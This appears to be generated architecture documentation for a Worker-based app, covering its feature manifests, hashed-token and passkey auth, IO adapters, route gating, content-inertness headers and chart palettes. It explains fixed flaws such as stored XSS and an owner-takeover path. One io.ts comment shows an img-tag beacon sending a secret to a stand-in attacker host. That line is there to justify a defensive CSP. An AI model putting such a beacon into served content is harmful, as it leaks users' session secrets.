ROUTES. HOST: src/index.ts routes[] becomes [...CORE_ROUTES, ...composeRoutes(FEATURES, opts)], and BACKEND_PREFIXES absorbs each route's backendPrefix. WHERE IT RUNS: module load of index.ts (the route table is built once). Feature routes are appended AFTER core routes (declaration-order matching means a feature route can never shadow a core route), and the composer asserts: (a) no two features claim the same method+pattern; (b) every auth is a valid Auth enum VALUE (fail-closed — never silently NONE); (c) no feature route collides with a CORE route (else silently dead).

assertWiredSlotsfunction

Throw if any feature populates a slot that isn't yet wired into its host file. Runs at module load from src/index.ts (the guaranteed-to-run chokepoint), beside composeRoutes. Converts a silent no-op into a clear, actionable error.

composeToolsfunction

TOOLS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeTools today: tools.ts does NOT yet concatenate it, and session.ts does NOT yet call each feature tool's register. When tools.ts adopts the array, TOOLS will concatenate composeTools(FEATURES) (the metadata half, feeding /api/tools + MCP registration listing) and session.ts will call each feature tool's register(server, hive) during MCP setup (the handler half) — metadata at module load, register once per session at MCP init. Composer asserts tool-name uniqueness so the seam is correct the moment it's wired.

composeSystemDocsfunction

SYSTEM DOCS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeSystemDocs today: schema.ts does NOT yet concatenate it. When schema.ts adopts the array, its seed list will concatenate composeSystemDocs(FEATURES) at boot, alongside the core doc seeding. Composer asserts slug uniqueness so the seam is correct the moment it's wired.

feature.tsentities/features/feature.ts

feature.ts — the Feature TYPE: one per-feature declaration that FEEDS the scattered registries from a single co-located module.

A "feature" is the extensibility keystone. Today a feature's footprint is smeared across registries a forker's agent must find and edit in lockstep: - post-mutate side effects → entities/Hive/effects.ts (PATTERN_EFFECTS) - HTTP routes → src/index.ts (routes[]) - MCP tools → entities/Session/tools.ts (TOOLS) - kernel patterns + DDL → entities/Hive/schema.ts (KERNEL_PATTERNS) - write-policy class → entities/Hive/policy.ts (KERNEL_WRITE_POLICY) - system docs → src/system-docs/.md (imported in schema.ts) - coherence spec → <dir>/.spec.md

A Feature object declares each of those contributions in ONE place. The composers in this directory then DERIVE the registries from FEATURES (the barrel in ./index.ts). Adding a feature = create one dir + add one import line to the barrel — its whole footprint is legible in the manifest, not scattered.

This file is intentionally dependency-light: it imports only the TYPES of the contributions, never the runtime registries, so a feature manifest can be read (and reasoned about) in isolation. effects is wired end-to-end today; the remaining fields are TYPED and documented so the next agent fills a slot rather than re-discovering a registry. See ./compose.ts for what is live vs. designed.

FeaturePatterninterface

A kernel-pattern declaration as schema.ts expects it (DDL + facet metadata + doctrine). Kept as the existing KernelTable shape so a feature can hand schema.ts a row verbatim — composePatterns folds these into KERNEL_TABLES, and the boot DDL loop / _fields seeding / verifyFieldsIntegrity treat them identically to a CORE row. indexes mirror the KernelTable field (a feature pattern may carry its own unique/partial indexes, e.g. _pages' path index).

FeatureMigrationinterface

A one-shot, idempotent ALTER/backfill keyed by a monotonic version, mirroring the runMigrations switch in schema.ts. Runs at boot, after pattern DDL.

FeatureRouteinterface

A route contribution: the existing Route shape plus the handler. Imported as a type only so the manifest doesn't pull the router runtime. The composer splices these into the routes[] array in src/index.ts in feature-declaration order, AFTER the core routes (a feature route can't shadow a core route).

FeatureToolinterface

MCP tool metadata — the ToolMeta shape from tools.ts. A feature that adds an agent-facing verb declares it here; the composer concatenates onto TOOLS. The feature ALSO supplies the Zod schema + handler wiring (a registerTool callback) since session.ts binds those — see compose design notes.

FeatureSystemDocinterface

A system-doc contribution: the raw markdown (imported as a text module) plus its slug/title, seeded into _system_docs at boot exactly like schema.ts does.

Featureinterface

One feature, declaring every registry contribution it makes. Only name is required; every contribution field is optional so a feature opts into exactly the registries it touches.

index.tsentities/features/index.ts

index.ts — the FEATURE BARREL. The whole feature set, in one greppable place.

Adding a feature is TWO edits, both here-adjacent: 1. create entities/features/<name>/manifest.ts exporting a Feature 2. add ONE import line + ONE array entry below

The composers in ./compose.ts derive every scattered registry from FEATURES. effects is live today: entities/Hive/effects.ts sets PATTERN_EFFECTS = composeEffects(FEATURES) instead of a hand-written literal. The remaining registries adopt their composer in their own host file (see compose.ts for each landing spot).

security.tsentities/features/security.ts

security.ts — the FEATURE-SECURITY BARREL. The dependency-free merge of every feature's pure-data security contribution (write class + egress sensitivity), imported by entities/Hive/policy.ts to compose the EFFECTIVE write-policy / sensitive-column maps.

THE LEAF-PRESERVATION INVARIANT (read before editing): policy.ts is the dependency-free security leaf — every enforcement layer derives from it without a cycle. policy.ts may import THIS barrel only because this barrel (and the per-feature /security.ts files it re-exports) imports nothing but PURE DATA and TYPES. It MUST NOT import a feature manifest.ts (manifests carry code: effect bodies, route handlers — importing one would pull runtime code into the security leaf and risk a cycle). When a new feature owns kernel patterns, add its pure-data /security.ts here, NOT its manifest.

Collisions fail LOUDLY (throw) rather than silently last-write-wins — two features claiming the same pattern's write class or sensitive columns is a bug.

THE DOMAIN IS THE LIVE FEATURE SET. A single registry — FEATURE_SECURITY — holds one entry per feature ({name, writePolicy?, sensitiveColumns?}); BOTH the write-policy and the sensitive-column maps are DERIVED by iterating it. There is no second hand-list to fall out of sync, so a feature's sensitive columns can no longer be silently dropped while its write policy is wired (the prior bug: the barrel composed write policy from one list and sensitive columns from another, and the second omitted pages — with no egress totality oracle to catch it).

FeatureSecurityinterface

One feature's complete pure-data security contribution: its write-class rows and its egress-sensitive columns, in a SINGLE object. Both halves of a feature's security footprint travel together so neither can be dropped independently — the bug this shape exists to kill (a feature whose sensitiveColumns silently never reached SENSITIVE_COLUMNS because the barrel's second hand-list forgot it).

FEATURE_WRITE_POLICYconst

Every feature's write-class rows, derived from FEATURE_SECURITY. Folded into the effective KERNEL_WRITE_POLICY by policy.ts ({...CORE, ...FEATURE_WRITE_POLICY}).

FEATURE_SENSITIVE_COLUMNSconst

Every feature's egress-sensitive columns, derived from THE SAME FEATURE_SECURITY array. Folded into the effective SENSITIVE_COLUMNS by policy.ts. Because both maps iterate the one registry, a feature's sensitive columns can no longer be dropped independently of its write policy — and verifyEgressTotality asserts it.

FEATURE_DECLARED_SENSITIVEconst

The flat list of every sensitive column declared by ANY feature — the DECLARED domain the egress totality oracle (policy.ts verifyEgressTotality) checks survives into the composed SENSITIVE_COLUMNS. Derived from FEATURE_SECURITY so it cannot drift from what the features actually declare.

hooks.tsentities/features/documents/hooks.ts

documents/hooks.ts — the documents feature's PRE-MUTATION HOOKS, as code.

This is the "a feature owns its kernel pattern's HOOKS" half of the footprint — the last piece after schema.ts (structure) and security.ts (write class + egress). The _documents create-time validation (title required; visibility enum) and its IMMUTABLE bookkeeping fields (system-managed on upload/extraction) live here, NOT in entities/Hive/kernel.ts. composeKernelHooks (entities/features/ compose.ts) folds them back into kernel.ts's ON_CREATE / IMMUTABLE registries, so applyKernelRules — the kernel chokepoint every mutate runs through — enforces them byte-for-byte the same. Only the DECLARATION moved; ENFORCEMENT stays at the kernel chokepoint, exactly like effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint.

LEAF-PRESERVATION / NO-CYCLE INVARIANT (read before editing): kernel.ts composes this file in (FEATURES → manifest → hooks), so this file MUST import ONLY TYPES from kernel.ts (import type). A runtime import of kernel.ts here would close a kernel.ts → features → hooks → kernel.ts RUNTIME cycle. Type imports are erased at runtime, so the back-edge stays type-only and no cycle forms.

manifest.tsentities/features/documents/manifest.ts

documents — R2-backed file store feature.

The whole feature, legible in one place. effects + routes are composed end-to-end today. The remaining slots are commented pointers to the live registries that still own them — not duplicated definitions, so there is exactly one source of truth per registry until migration.

patterns + migrations → ./schema.ts (pure data: _documents DDL/facets + the v12 extraction-columns migration), folded into schema.ts's KERNEL_TABLES + boot migration pile by composePatterns / composeMigrations. Wired below. writePolicy + egress → ./security.ts (pure data: _documents write class + r2_key redaction), composed into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts. Re-exported below so the feature's security footprint is legible from its dir. systemDocs → src/system-docs/http-io.md (shared with the other HTTP-I/O features — egress/publications/ingress — so it stays a single doc, not split per-feature)

manifest.tsentities/features/system-tasks/manifest.ts

system-tasks — dispatch-on-create maintenance jobs.

Live slot: effects (run the task post-commit). Other registries: patterns/writePolicy → schema.ts (_system_tasks DDL) + policy.ts routes → src/index.ts (/dev/seed-vectors triggers the task path)

schema.tsentities/features/documents/schema.ts

documents/schema.ts — the documents feature's PATTERN STRUCTURE, as PURE DATA: the _documents kernel-pattern declaration (DDL + facet metadata + doctrine) and the feature's own schema migration. This is the "a feature owns its schema" half of the footprint, kept SEPARATE from manifest.ts so it stays pure data + TYPES only (no route handlers, no effect bodies) — composePatterns/composeMigrations (entities/features/compose.ts) fold it back into schema.ts's KERNEL_TABLES + boot migration pile, byte-for-byte the same rows the central array used to hold, so verifyFieldsIntegrity (the DDL↔_fields drift oracle) sees no change.

NOTE: the kernel pre-mutation HOOKS for _documents (the title-required create validation + the immutable r2_key/size/etc. bookkeeping invariants) live in the sibling ./hooks.ts (code, type-only kernel import), composed into kernel.ts's ON_CREATE / IMMUTABLE registries and enforced at the applyKernelRules chokepoint.

security.tsentities/features/documents/security.ts

documents/security.ts — the documents feature's WRITE-POLICY + EGRESS-SENSITIVITY contribution, as PURE DATA. This is the security half of the feature's footprint, kept SEPARATE from manifest.ts on purpose: policy.ts (the dependency-free security leaf) folds this in, and policy.ts MUST NOT pull a manifest (manifests carry code — effect bodies, route handlers — which would drag the enforcement layers into the security leaf and risk an import cycle).

So this file imports ONLY TYPES (erased at runtime → no runtime edge into policy.ts) and NOTHING else. It is the single home for "what write class is _documents, and which of its columns must never leave the DO" — composed back into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts.

Authclaimed
Credential primitives — multi-member passkeys and scoped access/register tokens — isolated as pure db-accessor functions.
why

Auth primitives (passkeys + access/register/auth tokens) are isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate; the multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one shared hive is authenticated into by several people each acting as themselves. resolveRegisterToken deliberately re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover, and a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

Access tokens are stored HASHED at rest (hashToken, SHA-256): findAccessToken hashes the presented value and compares digests, mint stores only the digest (the raw token is shown once), and a boot migration hashes any legacy plaintext token in place. So a read of an _access_tokens row — a query, a search hit, a leaked DO snapshot — discloses only a digest, never a usable bearer. This is a deliberate exception to "store truth once": the secret's preimage is never persisted, which neuters the entire "a token reached a read sink" class independent of which sink leaks. Because the column holds a digest, every lookup that needs the token is async (crypto.subtle.digest), which is why these accessors return Promises.

works when
credentials.ts exists at this node fast
passkey.ts exists at this node fast
passkey.ts imports @simplewebauthn/server fast
credentials.tsshared/Auth/credentials.ts

Credential infrastructure: passkey storage + access token operations

Pure functions that take a db accessor. HiveDO keeps thin RPC wrappers. Auth concerns separated from the cognitive substrate.

why

Auth primitives (passkeys + access/register tokens) isolated as pure db-accessor functions so credential concerns stay separate from the cognitive substrate. The multi-row passkey model (one credential per member, NULL = bootstrap owner) exists because one hive is shared by several people who each authenticate as themselves. resolveRegisterToken re-validates scope/owner/roster at setup/consume time — independent of how the token's fields were set — because an adversarial review showed mint-time checks alone could be bypassed by a post-create constraints update to mount an owner-takeover; a malformed member-less token must be unusable rather than defaulting to the owner sentinel.

hasPasskeyfunction
getPasskeysfunction

All registered passkeys — the authentication candidate set.

storePasskeyfunction

Store a member's passkey, replacing any existing credential for that same member (per-member rotation — the original "single credential, replaced on re-registration" semantic, now scoped to one member). member is the member label, or null for the bootstrap owner credential.

updatePasskeyCounterfunction

Bump the signature counter for a specific credential (clone detection).

hashTokenfunction

SHA-256 hex of a token. Access tokens are stored HASHED at rest — the raw token is shown once at mint, and every lookup hashes the presented value and compares digests. So a read of an _access_tokens row (a query, a search hit, a leaked DO snapshot) discloses only a digest, never a usable bearer. This is the architectural stance that neuters the whole "token reached a serve sink" class regardless of which sink leaks.

findAccessTokenfunction

Find a valid (non-archived, non-expired, non-consumed) access token. Hashes the presented token and matches against the stored digest.

consumeTokenfunction

Mark a token as consumed (for single-use tokens).

validateAccessTokenfunction

Validate a token against a required scope. Consumes single-use tokens.

resolveTokenActorfunction

Validate a token and resolve the actor (member) it authenticates as. Returns the member label, or null if the token is invalid / out of scope / belongs to a suspended-or-archived member. A token with no member resolves to the owner sentinel (legacy and headless tokens). Used by the OAuth external-token path to attribute the resulting session to a person.

isMemberActivefunction

A member exists, is active, and not archived. The owner sentinel is always active.

getRegisterTokenfunction

Register-token info for the approval page (does not require approval). Returns the member + display fields and whether it has already been approved.

resolveRegisterTokenfunction

Resolve a register token for the /setup flow. Adds the human-approval gate on top of validateRegisterToken: an invite is inert until a member approves it via passkey at /invite/{token}. This is the last line before a passkey is bound, so an unapproved (or tampered) token must not pass.

approveRegisterTokenfunction

Mark a register token approved (human-present passkey approval). Validates the same invariants, then stamps approved_at via raw SQL — approved_at is IMMUTABLE on the mutate path, so this is the only way it can be set. Returns the member approved, or null if the token is invalid / not a register token.

validateAuthCodefunction

Validate a token as a LOGIN credential — full-access (*) scope ONLY. A capability token (marketplace/read/upload/document/register) is deliberately distributed at LOWER privilege and must never redeem as an owner login; without this gate a marketplace-clone token or a shared read:entry link would escalate to full owner access via /authorize|/login. Mirrors resolveTokenActor's scope check.

consumeAuthCodefunction

Validate and consume a single-use LOGIN token (browser auth) — full-access (*) scope ONLY, for the same reason as validateAuthCode.

passkey.tsshared/Auth/passkey.ts

WebAuthn passkey registration + authentication (SimpleWebAuthn).

why

Lazy-imported (dynamic import in routes/auth) to dodge a tslib resolution issue in the vitest/workerd test environment. User verification is required on both registration and authentication so the passkey is a true second factor, not merely possession of the device.

imports @simplewebauthn/server, https://esm.sh/@simplewebauthn/browser@13
StoredPasskeyinterface
setupPagefunction

Passkey registration page. Shown at /setup?token=SECRET

passkeyLoginPagefunction

Login page — passkey-first with secret fallback

IOclaimed
Outbound and inbound adapters: derived publication renderers, web-URL resolution with caching, git pack assembly, and text extraction.
why

IO holds the adapters that move data across the hive's boundary, kept as focused single-purpose modules so each owns one concern. Publications render live pattern projections at request time (never stored) per the "data is destiny" doctrine; web.ts caches adapter-fetched content as durable memory with a re-fetch-horizon TTL and refuses blocked hosts; extract.ts splits inline text extraction from async PDF extraction off the response path because only the DO has waitUntil, capping extracted text to stay under the entry size limit.

works when
publications.ts exists at this node fast
web.ts exists at this node fast
git.ts exists at this node fast
extract.ts exists at this node fast
extract.tsshared/IO/extract.ts

Document text extraction: bytes → searchable text.

The extracted text lands in the _documents.extracted_text facet, where it's covered by search (FTS over text facets) and prime (embedEntry embeds text facets). So extraction is the only missing piece — indexing is free.

Two tiers run inline-cheap vs async-heavy: - text-family (text/*, json, xml, csv, markdown): decode the bytes, no deps. - PDF: unpdf (serverless pdf.js) — runs in workerd (spiked), but CPU-heavier, so the caller runs it off the response path (waitUntil). Anything else (images, office docs) is unsupported for now.

why

Inline text extraction runs synchronously but PDF extraction is deferred to the DO's waitUntil off the response path, because only the Durable Object has waitUntil and PDF parsing is slow; extracted text is capped to stay under the 1 MB entry limit. Extraction is the only missing piece for document search/recall — once text lands in _documents.extracted_text, search (FTS) and prime (embedding) cover it for free.

TEXT_CHARS_CAPconst

Cap stored text well under the 1 MB entry limit (length×2 bytes); enough to cover the searchable substance of most documents.

capTextfunction
isTextLikefunction

True for content types we can read directly as UTF-8 text.

isPdffunction
decodeTextfunction

Decode raw bytes as UTF-8 text (lossy on invalid sequences).

extractPdfTextfunction

Extract text from a PDF via unpdf (serverless pdf.js). Pages merged.

extractionPlanfunction

Classify what extraction a content type gets, without doing the work.

git.tsshared/IO/git.ts

git.ts — Minimal git smart HTTP for read-only marketplace serving

Synthesizes a virtual git repo from a file tree (path → content). Implements just enough of the git smart HTTP protocol for git clone. No actual git repo on disk. No push support. No delta compression.

why

Synthesizes a virtual git repo from an in-memory file tree and speaks just enough of the git smart-HTTP protocol for read-only git clone, so the marketplace serves plugins/skills over standard git tooling with no repo on disk and no push path. Deliberately minimal — no delta compression, no write support — because the only consumer is read-only clone.

imports node:crypto, node:zlib
og-png.tsshared/IO/og-png.ts

SVG → PNG on the worker, no browser. resvg is pure WASM (the rasterizer half of the @vercel/og stack); it needs font bytes supplied since workerd has no system fonts, so we embed the two we use. Used to turn an OG card SVG into a PNG that unfurls everywhere.

imports @resvg/resvg-wasm, @resvg/resvg-wasm/index_bg.wasm
svgToPngfunction
publications.tsshared/IO/publications.ts

Publication renderers: live pattern data → HTML / RSS / JSON / Markdown.

A publication entry declares the projection; these functions derive the document at request time. Nothing rendered is ever stored — the page is a consequence of current truth ("data is destiny" applied to publishing).

The template seam is deliberately small: {{facet}} substitution plus a few specials. Template text passes through raw (owners may write markup); substituted VALUES are escaped in html/rss contexts. No logic, no loops.

why

Publications render live pattern projections at request time and store nothing, so the served page is always a consequence of current truth (data-is-destiny applied to publishing). The per-entry template seam substitutes HTML-escaped values into raw template text so an owner can shape output without the projection becoming a stored, drift-prone artifact; superseded entries are excluded by default because a publication projects current truth.

RenderContextinterface
Renderedinterface
renderTemplatefunction

Substitute {{facet}} placeholders. Specials: _label, _uri, _id, _updated_at. Unknown placeholders become empty strings. escape is applied to VALUES only.

web.tsshared/IO/web.ts

Web URL resolution via resolve()

Fetches web content through adapter dispatch, caches in _web_cache, embeds for prime recall. Pure functions with context injected.

why

Adapter-fetched web content is cached in _web_cache as durable memory, not a TTL-evicted cache: the TTL is a re-fetch horizon, active content is retained indefinitely and surfaces in prime recall, and a re-fetch that returns empty never overwrites a good snapshot. Blocked hosts (loopback/private/link-local/metadata) are refused before fetch, sharing the same isBlockedFederationHost SSRF guard as federation so the boundary is defined once.

WebContextinterface
resolveWebfunction
Routingclaimed
Declarative HTTP dispatch and session machinery: pattern-matched route table plus constant-time, revocable session auth helpers.
why

The router is the worker's declarative HTTP dispatch (method, pattern, auth gate, param constraints matched in declaration order) with handlers grouped by domain under routes/, so the full routing surface stays scannable. Its auth helpers are security-load-bearing: timingSafeEqual is constant-time to close a timing-attack finding on secret/token/signature checks, and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET, while encoding the actor backward-compatibly so deploys don't force a re-login.

Served-content inertness is the read/serialization dual of the security boundaries: agent- or uploader-authored content served on the FIRST-PARTY origin (which holds the owner's session cookie and can drive /api/*//mcp) must never run as active script. The boundary was a CONVENTION ("any served path neutralizes active MIME") correctly implemented at /o but silently drifted at two siblings — /p publications omitted the sandbox directive (so owner-authored markup ran same-origin), and /f documents echoed the UPLOADER-controlled Content-Type inline with neither nosniff nor sandbox, turning a text/html upload into stored XSS / owner-session theft. The fix makes the convention a CONTRACT: one chokepoint, inertHeaders(contentType) (routes/io.ts), classifies every served MIME into safe-inline vs active (ACTIVE_SERVED_MIMEContent-Security-Policy: sandbox; default-src 'none', forced attachment for the file store) and always sets X-Content-Type-Options: nosniff; serveOutput/servePublication/serveDocument all route through it. The served-content inertness totality oracle enumerates the served egress routes (driving each with active content) AND iterates the live ACTIVE_SERVED_MIME registry, asserting every served path returns inert headers — so a NEW served path that emits un-neutralized active content fails the build. The block-list of per-handler MIME handling that could fail open became one chokepoint with a totality over it.

Served-read gating is the auth dual of inertness: where inertness governs HOW served content is emitted, this governs WHETHER a visibility-gated resource is served at all. Every served READ route that exposes a _shared/_outputs/_publications/_documents resource must refuse an unlisted/private resource to an unauthenticated caller — enforced by denyUnlessBearerScope (the bearer gate) plus the secretless-deploy 404 short-circuit. This was a CONVENTION ("any new served read route remembers to gate"), a 5-call-site block-list that fails open the moment one route forgets. The served bearer-gating totality oracle iterates the served gated-read route table and asserts each refuses an unlisted resource WITHOUT a token (and that the body/secret never rides a refusal) — so a new served read route that exposes a gated resource un-gated would serve the unlisted body and fail. Anchored via guard: it enumerates a fixed route-shape set, not a runtime-varying domain.

Operational protection of the public surfaces (not security boundaries — cost/availability). Two layers, both fail-open so absence is harmless: (1) rateLimit (over the GA ratelimit bindings) caps the public WRITE surface per endpoint (RL_INGRESS on /i — each accepted write is a billable embed + Vectorize upsert serialized through the one HiveDO) and the public READ surfaces per client IP (RL_PUBLIC on /o//p//marketplace); (2) cached wraps the public GET reads in caches.default, so a hit returns from Cloudflare's per-colo edge WITHOUT running the Worker or touching the DO — only Cache-Control: public 200s are stored (private/unlisted/304 never), keyed by URL. Together they answer the single-DO contention ceiling: hot public reads offload to the edge, and what reaches the DO (writes, cache misses, cache-busting enumeration) is throttled. Early Content-Length caps on the buffered text bodies (/i, /upload) bound Worker memory before the transform DSL runs, mirroring the up-front cap the document upload already had.

works when
router.ts exists at this node fast
router.ts imports ../core/constants fast
routes/auth.ts exists at this node fast
routes/io.ts exists at this node fast
routes/io.ts imports ../router fast
boundary "served-content inertness" at inertHeaders via test "served-content inertness totality" fast
boundary "served-read gating" at denyUnlessBearerScope via guard "served bearer-gating totality" fast
depends on OAUTH_KV
router.tsshared/Routing/router.ts

Declarative HTTP dispatch: a route table matched in declaration order.

why

The auth helpers here are security-load-bearing: timingSafeEqual is constant-time specifically to close a timing-attack finding on master-secret / setup-token / session-signature checks (replacing ===), and session cookies carry a random sid plus a KV-stored epoch so every session can be revoked without rotating MNEMION_SECRET. The route table keeps the whole HTTP surface scannable (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone.

binds OAUTH_KV
Envinterface
Methodenum
Authenum
RouteContextinterface
Routeinterface
timingSafeEqualfunction

Constant-time string comparison. Hashes both inputs to fixed-length digests and compares with a branch-free XOR accumulator, so timing does not leak the length or content of the expected value. Use for any comparison against the master secret or an HMAC signature.

isDevAutoApprovefunction

Dev auto-approve is OPT-IN, never the default. A missing MNEMION_SECRET alone used to mean "auto-approve every request as the owner" — fail-OPEN: a secretless PRODUCTION deploy served every owner-only API unauthenticated. It now applies ONLY when DEV is also explicitly set (the dev script + [env.test] set it), so an unconfigured instance fails CLOSED. "Unconfigured" means no access, not all access.

denyUnlessBearerScopefunction

The Bearer-token serve gate, in one place. Parses Authorization: Bearer <token> and validates it against the required scope via the hive. The ONLY thing a served/ingress route varies is the scope string (read:output:<path>, write:input:<path>, …); the header parse + the validateAccessToken call — the security invariant — live here so they can't drift per call site, and a new served route inherits the exact gate by passing only its scope.

Returns null when the request is authorized (proceed); otherwise the 401 Unauthorized Response the caller returns directly. Call sites still own their surrounding allow-list (visibility !== "public") and the dev-mode 404 refusal; this owns only the common Bearer parse + validate that was copied verbatim.

rateLimitfunction

Rate-limit guard for the public surfaces (operational cost protection, NOT a security boundary). Returns a 429 when the limiter rejects key, else null. Fails OPEN by design: a missing binding (an env without it, or a runtime lacking the simulator) or a limiter error lets the request through — the binding ships in wrangler.toml but must never take down a deploy/test env that doesn't provide it.

clientIpfunction

The requesting client's IP, for per-client rate-limit keys. Cloudflare sets cf-connecting-ip; falls back to "unknown" off-platform (local/test).

cachedfunction

Edge-cache wrapper for PUBLIC read handlers. On a GET, serve from Cloudflare's per-colo cache (caches.default) when present — skipping the Worker AND the single HiveDO entirely within the response's max-age, so viral/cache-busting public reads don't serialize through the owner's DO. Only responses the handler marks Cache-Control: public are stored (private/unlisted/304/errors never are), keyed by request URL — so a public resource caches and a private one falls through on every request. The put is awaited (a few ms, on the miss path only); a hit returns before any DO work. A runtime without the Cache API is a transparent pass-through.

revokeAllSessionsfunction

Revoke every existing session by bumping the stored epoch. Cookies embed the epoch they were minted under, and validateSession rejects any whose epoch no longer matches — so the owner can invalidate all sessions (e.g. after a suspected cookie theft) without rotating MNEMION_SECRET. KV is eventually consistent, so global propagation can take up to ~60s.

createRouterfunction
auth.tsshared/Routing/routes/auth.ts
imports https://esm.sh/@simplewebauthn/browser@13
binds OAUTH_KV
revokeSessionsconst

POST /sessions/revoke — invalidate ALL browser sessions (Auth.SECRET gated). Bumps the session epoch so every issued cookie stops validating, without rotating MNEMION_SECRET. Use after a suspected session-cookie compromise.

dev.tsshared/Routing/routes/dev.ts
seedVectorsconst

Seed vectors: embed all existing entries into Vectorize. Gated behind Auth.SECRET — requires master secret.

io.tsshared/Routing/routes/io.ts
imports fflate
ACTIVE_SERVED_MIMEconst

Active/renderable types we make inert. sandbox (with no allow-tokens) treats the response as a unique opaque origin: scripts don't run, forms are disabled, and same-origin access (cookies, /api/*) is severed; default-src 'none' also blocks every sub-resource so it can't beacon a secret out via <img src="//attacker/?leak">. So agent-authored HTML/SVG renders for the documented egress feature yet can't execute script or steal the owner's session.

inertHeadersfunction

The single inertness decision for served egress. Given the raw, possibly attacker-chosen Content-Type, return the Content-Type to emit plus the security headers that neutralize it. Active types are sandboxed (CSP) and, when forceAttachment is set (a file store like /f), also forced to download. Every result carries X-Content-Type-Options: nosniff.

servePageconst

Public page (a _pages entry with visibility=public): server-rendered HTML with charts as inline SVG + OG meta. renderPublicPage returns null for missing or non-public pages — a positive allow-list, like publications.

servePageOgPngconst

PNG OG card (rasterized from the SVG via resvg) — the robust unfurl image.

uploadconst
marketplace.tsshared/Routing/routes/marketplace.ts
pages.tsshared/Routing/routes/pages.ts
Coreclaimed
Cross-cutting primitives shared by both the worker and the SPA: product identity, the declarative UI palettes (view / format / block / chart) an agent authors against, and dev-only seed data.
why

Core is the layer both runtimes depend on but neither owns, so it carries zero env-specific imports and stays pure data — that purity is what lets the same module validate a write in the worker and render it in the SPA without forking.

Its center of gravity is the agent-authorable UI: view-palette (how a pattern renders), format-palette (how a value renders), block-palette (how a page composes), and the chart pair (chart-spec + chart-svg). These are the canonical instances of the "self-enforcing declarations" doctrine — one declarative table that is simultaneously the spec an agent reads, the validator the kernel derives (validateViewSpec/validateBlocks/validateFormatsMap, fail-closed at the mutate chokepoint), and the totality oracle the SPA's Record<…Id, Component> enforces at compile time. The agent composes UI from these tables as data, never as code, which is what makes live agent-authored rework safe.

The chart layer is deliberately split so one spec drives two renderers: chart-spec is the single home for the mark set, the categorical color palette, and the long→wide series pivot, and both the in-hive Recharts renderer and the server SVG renderer (chart-svg, for published pages and OG cards) derive from it — so a dataset reads identically in-hive and on a public page. constants keeps product identity (PRODUCT_NAME, URI_SCHEME, uri()) in one place so the scheme is never hardcoded. dev-seed is gated and runs only in the DO constructor under DEV_SEED; it writes via raw SQL (trusted, bypassing the kernel hook), so its contents must stay valid against these same palettes by hand — it is inert in production.

works when
constants.ts exists at this node fast
view-palette.ts exists at this node fast
view-palette.ts imports ./format-palette fast
format-palette.ts exists at this node fast
block-palette.ts exists at this node fast
chart-spec.ts exists at this node fast
chart-svg.ts exists at this node fast
chart-svg.ts imports ./chart-spec fast
dev-seed.ts exists at this node fast
block-palette.tsshared/core/block-palette.ts

The block palette — the declarative vocabulary for composing a page (a _pages entry). A page is { blocks: Block[] }; each block is { type, ...config, width? }, validated against this palette (fail-closed) and rendered against a fixed component set in the SPA. The same safe boundary as the view/format palettes, one level up: arbitrary COMPOSITION (any blocks, any order, referencing any pattern/entry), never arbitrary CODE.

Pure data, zero env-specific imports — bundled into both the worker (validation) and the SPA (rendering).

BlockTypeinterface
isBlockTypefunction
validateBlocksfunction

Validate a page's blocks JSON against the palette + the hive (pattern/facet references). Returns [] when valid. Empty/absent blocks = a valid (empty) page.

chart-spec.tsshared/core/chart-spec.ts

The chart vocabulary shared by BOTH renderers — the in-hive Recharts renderer (web/src/Chart.tsx) and the server SVG renderer (chart-svg.ts, public pages + OG cards). One home for: the mark set, the categorical color palette (so the same dataset reads identically in-hive and on a published page), and the long→wide pivot that turns multi-dimension aggregate rows into per-series columns. Pure data, zero env deps — bundled into both worker and SPA.

CONTINUOUS_MARKSconst

Mark categories — which machinery a mark needs. Derived from, never duplicated.

isChartMarkfunction
SERIES_COLORSconst

Categorical palette — the notebook accent first, then a tuned spread that holds up on the warm paper background (#f1efe8). Cycled by index for series/slices.

seriesColorfunction
isRoundfunction

Mark-category membership — the single home both renderers MUST agree on (was re-inlined as mark === "bar" || mark === "area" etc. in three files). Adding a mark to a set above now flows to every renderer through these.

isContinuousfunction
isStackablefunction
SERIES_NONEconst

The label NULL/empty series values bucket under, so a row with no series value is named rather than silently dropped from the chart.

groupKeyfunction

A group field may carry a :unit datetime bucket (e.g. "created_at:month"). The query engine GROUPs BY the full "facet:unit" but aliases the OUTPUT column to the bare facet — so the GROUP BY uses the full field while the sort field, the row read-key, and the pivot/dataKey must use the bare facet. Split once, here.

aggSpecfunction

The aggregate wire-spec ({fn, facet?, as:'value'}) in one place (server chartData + client ChartView both built this literal independently).

ResolvedChartinterface

A chart spec, resolved once at the boundary: aliases (x|group_by, y|metric) and defaults (mark, agg) collapsed, and the :unit bucket split into groupBy (the full field for GROUP BY) vs x/series (the bare column the engine aliases it to, which rows/sort/pivot/dataKey read). Both renderers derive from this so they can't resolve aliases or buckets differently.

ChartQueryKindtype

The query plan for a resolved chart — what to fetch and how to aggregate/sort. The SERVER (hive.chartData via this.query) and the CLIENT (ChartView via /api/query) both derive their query from this ONE function, so the in-hive chart and the published/OG chart can't aggregate, sort, bucket, or truncate differently.

ChartQueryinterface
chartQueryfunction
resolveChartfunction
compactNumfunction

Compact number formatting shared by axes, labels, and tooltips (no Intl on the server SVG path — keep one deterministic implementation).

pivotSeriesfunction

Long rows [{ [xKey]: x, [seriesKey]: s, [valueKey]: v }, ...] from a two-facet aggregate → wide rows [{ [xKey]: x, [s1]: v, [s2]: v, ... }] plus the ordered list of series keys (first-seen order). Missing cells are 0-filled so stacked marks and multi-line charts don't tear. x order is first-seen (the caller sorts the aggregate by x, so this preserves it).

chart-svg.tsshared/core/chart-svg.ts

